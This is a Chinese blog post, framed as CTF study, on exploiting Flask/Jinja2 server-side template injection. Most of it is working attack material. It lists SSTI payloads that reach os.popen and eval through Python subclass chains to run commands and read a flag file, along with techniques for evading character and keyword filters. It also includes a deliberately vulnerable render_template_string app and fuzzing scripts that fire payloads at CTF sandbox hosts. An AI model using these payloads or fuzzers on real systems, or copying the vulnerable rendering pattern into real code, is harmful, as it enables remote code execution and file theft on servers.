当前位置: 首页 > 工具软件 > Frozen-Flask > 使用案例 >

对CTF中flask SSTI的研究

西门逸仙
2023-12-01

过滤字符和关键字:

filter_str = string.printable[62:][:-5]
filter_key = ['class','base','mro','subclasses','globals','builtins','init','flag','cat','ls','env','os','eval','popen','system','attr','read','dict','join','getitem','count']


可利用的类:

1.warnings.catch_warnings
2.WarningMessage
3.codecs.IncrementalEncoder
4.codecs.IncrementalDecoder
5.codecs.StreamReaderWriter
6.os._wrap_close
7.reprlib.Repr
8.weakref.finalize

9._frozen_importlib.BuiltinImporter


1.catch_warnings
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"]["eval"]('__import__("os").popen("ls").read()')

2.WarningMessage
''.__class__.__base__.__subclasses__()[150].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('ls')")

7.Repr
''.__class__.__base__.__subclasses__()[180].__init__.__globals__["__builtins__"]["eval"]("__import__('os').popen('calc')")

9.BuiltinImporter
{{[].__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls /").read()}}


bypass:

attr() join request.args request.cookie 

1.绕过.号
[].__class__ == []["__class__"]
[].__class__ == []|attr("__class__")

2.绕过_号
[].__class__ == []["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]
[].__class__ == []|attr("\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f")
[].__class__ == {% set a=(()|select|string|list).pop(24)%}{{[][a~a~"class"~a~a]}}
[].__class__ == {% set a=(()|select|string|list).pop(24)%}{{[][(a,a,"class",a,a)|join]}}

3.绕过[]
[].__class__.__bases__[0] == ''.__class__.__bases__.__getitem__(0)

4.绕过{{}}
{{}} == {%  %}

5.绕过" '
[].__class__ == {{[][request.args.a]}}&a=__class__
[].__class__ == {{[][request.cookie.a]}} cookie

6.绕过数字
{{dict(asd=a)|join|count}}


组合拳:https://www.cnblogs.com/zpchcbd/p/15881573.html
1.
/?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}

2.
?name=
{% set aaaa=dict(a=a,b=b,c=c,d=d,e=e)|length %}
{% set bbbb=dict(a=a)|length %}
{% set cccc=aaaa*aaaa-bbbb %}
{% set dddd=dict(a=a,b=b,c=c,d=d,e=e,f=f,g=g,h=h)|length %}
{% set eeee=dict(a=a,b=b,c=c,d=d,e=e,f=f)|length %}
{% set ffff=dict(a=a,b=b)|length %}
{% set gggg=dict(a=a,b=b,c=c,d=d,e=e,f=f,g=g)|length %}
{% set hhhh=dict(a=a,b=b,c=c,d=d,e=e)|length %}
{% set iiii=dict(a=a,b=b,c=c,d=d)|length %}
{% set a=(()|select|string|list).pop(iiii*eeee) %}
{% set globals=(a,a,dict(globals=bbbb)|join,a,a)|join %}
{% set init=(a,a,dict(init=bbbb)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=bbbb)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(dddd*eeee-bbbb)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii-eeee)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii-eeee-hhhh)~chr(iiii*iiii*iiii*ffff-dddd-dddd-iiii-hhhh)).read() %}



python_flask.py

from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/')
def index():
    args = request.args.get('name')
    if args:
        string = '{}'.format(args)
        return render_template_string(string)
    else:
        return 'get param name'
app.run(host='127.0.0.1',port=5003,debug=True)

get_index.py

import requests
import html
# url = 'http://127.0.0.1:5003/?name='
# url = 'http://61.147.171.105:64976/'
# url = 'http://challenge-2d2930898bd378ee.sandbox.ctfhub.com:10800/'

# used = ['_wrap_close','catch_warnings','FileLoader','WarningMessage','IncrementalEncoder','IncrementalDecoder','StreamReaderWriter','Repr','finalize']
'''

catch_warnings
''.__class__.__base__.__subclasses__()[177].__init__.__globals__["__builtins__"].eval('__import__("os").popen("ls").read()')



warnings.catch_warnings
WarningMessage
codecs.IncrementalEncoder
codecs.IncrementalDecoder
codecs.StreamReaderWriter
os._wrap_close
reprlib.Repr
weakref.finalize
'''
class Fuzz:
    def __init__(self):
        self.url = 'http://challenge-9685b2793c26a9b7.sandbox.ctfhub.com:10800/'
        self.param = 'nickname'
        #利用字符
        self.payload = r'[]["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()'
        self.method = 'post'

        self.length = 611
        self.used_func = ['_wrap_close','catch_warnings','FileLoader','WarningMessage','IncrementalEncoder','IncrementalDecoder','StreamReaderWriter','Repr','finalize']

    def get_length(self):
        injection = '{{'+self.payload+r'["\x5f\x5f\x6c\x65\x6e\x5f\x5f"]()}}'
        if self.method == 'get':
            last_url = self.url+"?"+self.param+"="+injection
            res = requests.get(url=last_url).text
            print(res)
        if self.method == 'post':
            data = {self.param:injection}
            res = requests.post(url=self.url,data=data).text
            print(res)

    def get_allClass(self):
        for i in range(self.length):
            injection = '{{' + self.payload + '[' + str(i) + r']["\x5f\x5f\x6e\x61\x6d\x65\x5f\x5f"]}}'
            if self.method == 'get':
                    last_url = self.url + "?" + self.param + "=" + injection
                    res = requests.get(url=last_url).text
                    res = html.unescape(res)
                    print(i,res)
            if self.method == 'post':
                    data = {self.param: injection}
                    res = requests.post(url=self.url, data=data).text
                    res = html.unescape(res)
                    print(i,res)

    def get_usedFuncIndex(self):
        for i in range(self.length):
            injection = '{{'+self.payload+'['+str(i)+r']["\x5f\x5f\x6e\x61\x6d\x65\x5f\x5f"]}}'
            if self.method == 'get':
                    last_url = self.url + "?" + self.param + "=" + injection
                    res = requests.get(url=last_url).text
                    res = html.unescape(res)
                    for j in self.used_func:
                        if j in res:
                            print(i,j)

            if self.method == 'post':
                    data = {self.param: injection}
                    res = requests.post(url=self.url, data=data).text
                    res = html.unescape(res)
                    for j in self.used_func:
                        if j in res:
                            print(i,j)

f = Fuzz()
f.get_usedFuncIndex()

get_filter.py

import requests
import string
import html

class Fuzz:
    def __init__(self):
        # self.url = 'http://challenge-2d2930898bd378ee.sandbox.ctfhub.com:10800/'
        self.url = 'http://127.0.0.1:5000/'
        self.param = 'name'
        self.method = 'get'
        # self.post_data = 'nickname='
        # self.return_data = 'Your nickname contains restricted characters!'
        self.return_data = 'Get Out!Hacker!'


        self.special_str = string.printable[62:][:-5]
        self.filter_key =['class', 'base', 'mro', 'subclasses', 'globals', 'builtins', 'init', 'flag', 'cat', 'ls', 'env','os', 'eval', 'popen', 'system', 'attr', 'read', 'dict', 'join', 'getitem', 'count']
    def get_filter(self):
        # [print(i,x,ord(x)) for i,x in zip(range(len(self.special_str)),self.special_str)]
        if self.method == 'post':
            for i in self.special_str:
                injection = {self.param:i}
                res = requests.post(url=self.url,data=injection).text
                # print(res)
                # print(html.unescape(res))
                if self.return_data in res:
                    print('NO -- ',i)
            for i in self.filter_key:
                injection = {self.param:i}
                res = requests.post(url=self.url,cookies=injection).text
                if self.return_data in res:
                    print('NO -- ',i)
        if self.method == 'get':
            for i in self.special_str:
                injection = i
                res = requests.get(url=self.url+'?'+self.param+'='+injection).text
                # print(res)
                # print(html.unescape(res))
                if self.return_data in res:
                    print('NO -- ',i)
            for i in self.filter_key:
                injection = i
                res = requests.get(url=self.url + '?' + self.param + '=' + injection).text
                # print(res)
                if self.return_data in res:
                    print('NO -- ',i)

fuzz = Fuzz()
fuzz.get_filter()
 类似资料: